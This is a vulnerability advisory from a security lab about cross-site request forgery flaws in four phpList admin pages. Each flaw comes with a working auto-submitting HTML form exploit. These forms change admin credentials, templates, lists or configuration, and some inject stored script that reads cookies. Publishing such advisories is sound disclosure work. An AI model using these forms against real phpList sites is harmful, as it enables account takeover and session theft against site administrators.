Cross-site Request Forgery (CSRF) Vulnerabilities in phpList

High-Tech Bridge SA Security Research Lab has discovered vulnerabilities in phpList which could be exploited to perform cross-site request forgery attacks.

1) Cross-site request forgery (CSRF) vulnerabilities in phpList
1.1 The vulnerability exists due to insufficient validation of the request origin in admin/commonlib/lib/userlib.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change administrator`s credentials. Due to insufficient sanitation of input data in the "email" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?page=user&start=0&id=USER_ID&find=&sortby=&sortor der=desc&unconfirmed=0&b lacklisted=0" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="list" value="">
<input type="hidden" name="id" value="USER_ID">
<input type="hidden" name="returnpage" value="">
<input type="hidden" name="returnoption" value="">
<input type="hidden" name="email" value='email2@example.com"><script>alert(document.cookie)</script>'>
<input type="hidden" name="confirmed" value="1">
<input type="hidden" name="htmlemail" value="123">
<input type="hidden" name="rssfrequency" value="2">
<input type="hidden" name="password" value="test">
<input type="hidden" name="disabled" value="0">
<input type="hidden" name="extradata" value="add">
<input type="hidden" name="foreignkey" value="forkey">
<input type="hidden" name="change" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
1.2 The vulnerability exists due to insufficient validation of the request origin in admin/template.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify website settings. Due to insufficient sanitation of input data in the "content" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?page=template&id=TEMPLATE_ID" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="TEMPLATE_ID">
<input type="hidden" name="title" value="tplname">
<input type="hidden" name="file_template" value="">
<input type="hidden" name="content" value='<script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save Changes">
</form>
<script>
document.main.submit();
</script>
1.3 The vulnerability exists due to insufficient validation of the request origin in admin/editlist.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify pages. Due to insufficient sanitation of input data in the "description" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?page=editlist&id=1" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="1">
<input type="hidden" name="listname" value="test2">
<input type="hidden" name="listorder" value="0">
<input type="hidden" name="owner" value="1">
<input type="hidden" name="description" value='List <script>alert(document.cookie)</script>[CONTENT]'>
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>
1.4 The vulnerability exists due to insufficient validation of the request origin in admin/configure.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and modify configuration. Due to insufficient sanitation of input data in the "description" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/admin/?page=configure&id=report_address" method="post" name="main" enctype="multipart/form-data">
<input type="hidden" name="formtoken" value="123">
<input type="hidden" name="id" value="report_address">
<input type="hidden" name="values[report_address]" value="email@example.com">
<input type="hidden" name="save" value="1">
<input type="hidden" name="savebutton" value="Save changes">
</form>
<script>
document.main.submit();
</script>
